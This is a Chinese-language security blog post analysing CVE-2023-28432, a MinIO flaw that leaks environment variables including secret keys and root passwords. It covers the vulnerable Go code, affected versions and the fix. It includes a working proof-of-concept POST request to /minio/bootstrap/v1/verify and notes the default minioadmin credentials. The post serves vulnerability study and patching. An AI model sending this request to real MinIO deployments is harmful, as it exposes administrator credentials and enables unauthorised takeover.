CVE-2023-28432 MinIO信息泄露漏洞分析及复现

admin 2023年6月6日01:52:06评论89 views字数 2911阅读9分42秒阅读模式

CVE-2023-28432 MinIO信息泄露漏洞分析及复现

CVE-2023-28432 MinIO信息泄露漏洞分析及复现

前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者及火线安全,望谅解。


一、漏洞原理

漏洞简述

MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务,与 Amazon S3 API 兼容,可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统,可以存储大量数据,并提供高速的数据读写能力。MinIO采用分布式架构,可以在多个节点上运行,实现数据的分布式存储和处理。


CVE-2023-28432 MinIO信息泄露漏洞分析及复现


MinIO 存在信息泄露漏洞,在集群部署的MinIO中,未经身份认证的远程攻击者通过发送特殊HTTP请求即可获取所有环境变量,其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD,造成敏感信息泄露,最终可能导致攻击者以管理员身份登录MinIO。


漏洞影响范围

供应商:MinIO

产品:MinIO

确认受影响版本:RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z

修复版本:RELEASE.2023-03-20T20-16-18Z


漏洞分析

本漏洞的漏洞点来自MinIO系统中集群部署配置于/minio/bootstrap路径下,相关代码对HTTP请求的验证缺失,造成信息泄露。


在官方Github的安全推送中,首先是影响及补丁信息:

CVE-2023-28432 MinIO信息泄露漏洞分析及复现


在补丁部分,可以看到补丁简述,补丁主要针对bootstrap部分对集群节点间进行token验证。

之后看到漏洞点相关代码。

// minio/cmd/bootstrap-peer-server.gofunc (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {  ctx := newContext(r, w, "VerifyHandler")  cfg := getServerSystemCfg()  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))}
// minio/cmd/bootstrap-peer-server.gofunc getServerSystemCfg() ServerSystemConfig {  envs := env.List("MINIO_")  envValues := make(map[string]string, len(envs))  for _, envK := range envs {    // skip certain environment variables as part    // of the whitelist and could be configured    // differently on each nodes, update skipEnvs()    // map if there are such environment values    if _, ok := skipEnvs[envK]; ok {      continue    }    envValues[envK] = env.Get(envK, "")  }  return ServerSystemConfig{    MinioEndpoints: globalEndpoints,    MinioEnv:       envValues,  }}

主要是两个函数 VerifyHandler() 和 getServerSystemCfg() 。


VerifyHandler() 函数主要作用为验证处置。

其中CFG字段涉及下列getServerSystemCfg()函数,该函数获取服务器系统CFG信息。


变量envs为List类型,为MINIO_。变量envValues存放envs的值。


之后循环处理将envs输出于envK中。最后返回结构体ServerSystemConfig,包含key:MinioEndpoints和MinioEnv。


可以看到与漏洞泄露涉及的MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD相对应。


根据官方说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。


另外,如果开启动Minio时没有设置MINIO_ROOT_USER和MINIO_ROOT_PASSWORD,那么Minio使用默认账号密码minioadmin,这时候再做信息泄露验证会发现读取不到管理员的账号密码,则推断存在默认口令。


二、漏洞复现实战

漏洞复现

MinIO 官方下载已更新至 RELEASE.2023-03-22T06-36-24Z,无法复现


主要可以采用Github旧版本或相关资产。

POC:

POST /minio/bootstrap/v1/verify HTTP/1.1Host: User-Agent: Mozilla/5.0Upgrade-Insecure-Requests: 1Accept: */*Accept-Encoding: gzip, deflateAccept-Language: en-US;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0


根据POC改包,可以看到存在信息泄露,包含内网IP泄露等。


CVE-2023-28432 MinIO信息泄露漏洞分析及复现

另外存在POC脚本。可以检测漏洞情况。

链接:

https://github.com/MzzdToT/CVE-2023-28432


漏洞修复

目前官方已发布安全修复版本,建议更新至RELEASE.2023-03-20T20-16-18Z及以上版本版本

下载链接:https://github.com/minio/minio/releases/tag/RELEASE.2023-03-20T20-16-18Z

另外,存在MinIO自更新项目,会更新至最新版本

链接:

https://github.com/minio/selfupdate


结束语

本文主要介绍了CVE-2023-28432 MinIO信息泄露漏洞的原理分析及复现过程,漏洞主要利用在集群部署的MinIO中,未经身份认证的远程攻击者通过发送特殊HTTP请求即可获取所有环境变量,其中包括MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD,造成敏感信息泄露,最终可能导致攻击者以管理员身份登录MinIO。



CVE-2023-28432 MinIO信息泄露漏洞分析及复现

火线Zone是火线安全平台运营的安全社区,拥有超过20,000名可信白帽安全专家,内容涵盖渗透测试、红蓝对抗、漏洞分析、代码审计、漏洞复现等热门主题,旨在研究讨论实战攻防技术,助力社区安全专家技术成长,2年内已贡献1300+原创攻防内容,提交了100,000+原创安全漏洞。

欢迎具备分享和探索精神的你加入火线Zone社区,一起分享技术干货,共建一个有技术氛围的优质安全社区!


原文始发于微信公众号(火线Zone):CVE-2023-28432 MinIO信息泄露漏洞分析及复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月6日01:52:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-28432 MinIO信息泄露漏洞分析及复现https://cn-sec.com/archives/1657245.html

发表评论

匿名网友 填写信息